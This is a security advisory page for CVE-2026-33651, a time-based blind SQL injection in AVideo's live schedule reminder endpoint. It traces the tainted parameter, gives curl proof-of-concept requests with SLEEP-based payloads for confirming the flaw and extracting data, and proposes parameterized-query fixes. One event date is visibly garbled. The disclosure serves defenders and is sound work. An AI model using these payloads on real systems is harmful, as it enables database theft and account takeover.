CVE-2026-33651: AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()

Published Mar 23, 2026
·
Updated

Summary

The remindMe.json.php endpoint passes $REQUEST['livescheduleid'] through multiple functions without sanitization until it reaches Schedulercommands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause. Although intermediate functions (new Liveschedule(), getUsersidOrCompany()) apply intval() internally, they do so on local copies within ObjectYPT::getFromDb(), leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.

Details

The vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:

Step 1 — User input (no sanitization): plugin/Live/remindMe.json.php:15: php $reminder = Live::setLiveScheduleReminder($REQUEST['livescheduleid'], ...);

Step 2 — Auth check passes for any user: plugin/Live/Live.php:4126: php if (!User::isLogged()) { $obj->msg = ('Must be logged'); return $obj; }

Step 3 — intval() applied only internally, original variable unchanged: plugin/Live/Live.php:4141-4143: php $ls = new Liveschedule($livescheduleid); // intval() inside getFromDb() only $usersid = Liveschedule::getUsersidOrCompany($livescheduleid); // same

objects/Object.php:84 (inside getFromDb()): php $id = intval($id); // sanitizes the LOCAL parameter, not the caller's variable

With input like 1" AND SLEEP(5) --, intval() extracts 1, loads schedule ID 1 successfully. The caller's $livescheduleid remains 1" AND SLEEP(5) --.

Step 4 — Tainted value flows to type string construction: plugin/Live/Live.php:4152 → Live.php:4193-4194: php $reminders = self::getLiveScheduleReminders($livescheduleid);

// getLiveScheduleReminders calls: $type = self::getLiveScheduleReminderBaseNameType($livescheduleid); // which builds: "LiveScheduleReminder{$tousersid}{$livescheduleid}" return Schedulercommands::getAllActiveOrToRepeat($type);

Step 5 — SQL injection sink: plugin/Scheduler/Objects/Schedulercommands.php:340-347: php $sql = "SELECT FROM " . static::getTableName() . " WHERE (status='a' OR status='r') "; if(!empty($type)){ $sql .= ' AND type LIKE "'.$type.'%" '; // LINE 343: direct concatenation } $res = sqlDAL::readSql($sql); // LINE 347: no parameterization

PoC

Prerequisites: Any authenticated user session, at least one liveschedule record (ID=1).

Step 1 — Baseline request (should return quickly): bash curl -s -o /dev/null -w "%{timetotal}" \ -b "PHPSESSID=<validsession>" \ "http://target/plugin/Live/remindMe.json.php?livescheduleid=1&minutesEarlier=10" Expected: response in ~0.1-0.5s

Step 2 — Time-based injection (5 second delay): bash curl -s -o /dev/null -w "%{timetotal}" \ -b "PHPSESSID=<validsession>" \ --get --data-urlencode 'livescheduleid=1" AND SLEEP(5) -- ' \ --data-urlencode 'minutesEarlier=10' \ "http://target/plugin/Live/remindMe.json.php" Expected: response delayed by ~5 seconds, confirming injection.

The resulting SQL becomes: sql SELECT FROM schedulercommands WHERE (status='a' OR status='r') AND type LIKE "LiveScheduleReminder1231" AND SLEEP(5) -- %"

Step 3 — Data extraction (example: first character of database user): bash curl -s -o /dev/null -w "%{timetotal}" \ -b "PHPSESSID=<validsession>" \ --get --data-urlencode 'livescheduleid=1" AND IF(SUBSTRING(user(),1,1)="r",SLEEP(5),0) -- ' \ --data-urlencode 'minutesEarlier=10' \ "http://target/plugin/Live/remindMe.json.php" If the response is delayed 5 seconds, the first character of user() is r.

Impact

- Full database read: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens. - Data modification: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations. - Account takeover: Extracted admin password hashes or session tokens enable full platform compromise. - Low barrier: Only requires a basic authenticated account — no admin privileges needed.

Recommended Fix

Option 1 — Parameterize the query in Schedulercommands::getAllActiveOrToRepeat():

plugin/Scheduler/Objects/Schedulercommands.php:335-347: php public static function getAllActiveOrToRepeat($type='') { global $global; if (!static::isTableInstalled()) { return false; } $sql = "SELECT FROM " . static::getTableName() . " WHERE (status=? OR status=?) "; $formats = "ss"; $values = [self::$statusActive, self::$statusRepeat];

if(!empty($type)){ $sql .= ' AND type LIKE ? '; $formats .= "s"; $values[] = $type . "%"; }

$sql .= self::getSqlFromPost(); $res = sqlDAL::readSql($sql, $formats, $values); $fullData = sqlDAL::fetchAllAssoc($res); sqlDAL::close($res); $rows = array(); if ($res != false) { foreach ($fullData as $row) { $rows[] = $row; } } return $rows; }

Option 2 — Additionally sanitize at the entry point:

plugin/Live/remindMe.json.php:15 (defense in depth): php $REQUEST['livescheduleid'] = intval($REQUEST['livescheduleid']); $reminder = Live::setLiveScheduleReminder($REQUEST['livescheduleid'], ...);

Both fixes should be applied for defense in depth.

Other sources

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the remindMe.json.php endpoint passes $REQUEST['livescheduleid'] through multiple functions without sanitization until it reaches Schedulercommands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause. Although intermediate functions (new Liveschedule(), getUsersidOrCompany()) apply intval() internally, they do so on local copies within ObjectYPT::getFromDb(), leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents. Commit 75d45780728294ededa1e3f842f95295d3e7d144 contains a patch.

MITRE

Affected Software

3 affected components
WWBN AVideo<=26.0
WWBN AVideo<=26.0
composer/wwbn/avideo<=26.0

Event History

Mar 23, 2026
CVE Published
via MITRE·06:38 PM
Data Sourced
via MITRE·06:38 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Mar 25, 2026
Advisory Published
via GitHub·05:50 PM
Data Sourced
via GitHub·05:50 PM
DescriptionSeverityWeaknessAffected Software
Sep 22, 58202
Event
via FIRST·10:45 AM

Frequently Asked Questions

1

What is the severity of CVE-2026-33651?

CVE-2026-33651 is classified as a critical vulnerability due to the potential for unauthorized access to sensitive data through Blind SQL Injection.

2

How do I fix CVE-2026-33651?

To fix CVE-2026-33651, ensure that user input from 'live_schedule_id' is properly sanitized and validated before being processed by the application.

3

Which versions of AVideo are affected by CVE-2026-33651?

CVE-2026-33651 affects all versions of AVideo up to and including version 26.0.

4

What type of vulnerability is CVE-2026-33651?

CVE-2026-33651 is a Blind SQL Injection vulnerability that allows attackers to manipulate database queries.

5

Can CVE-2026-33651 be exploited remotely?

Yes, CVE-2026-33651 can be exploited remotely, making it a significant security risk.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203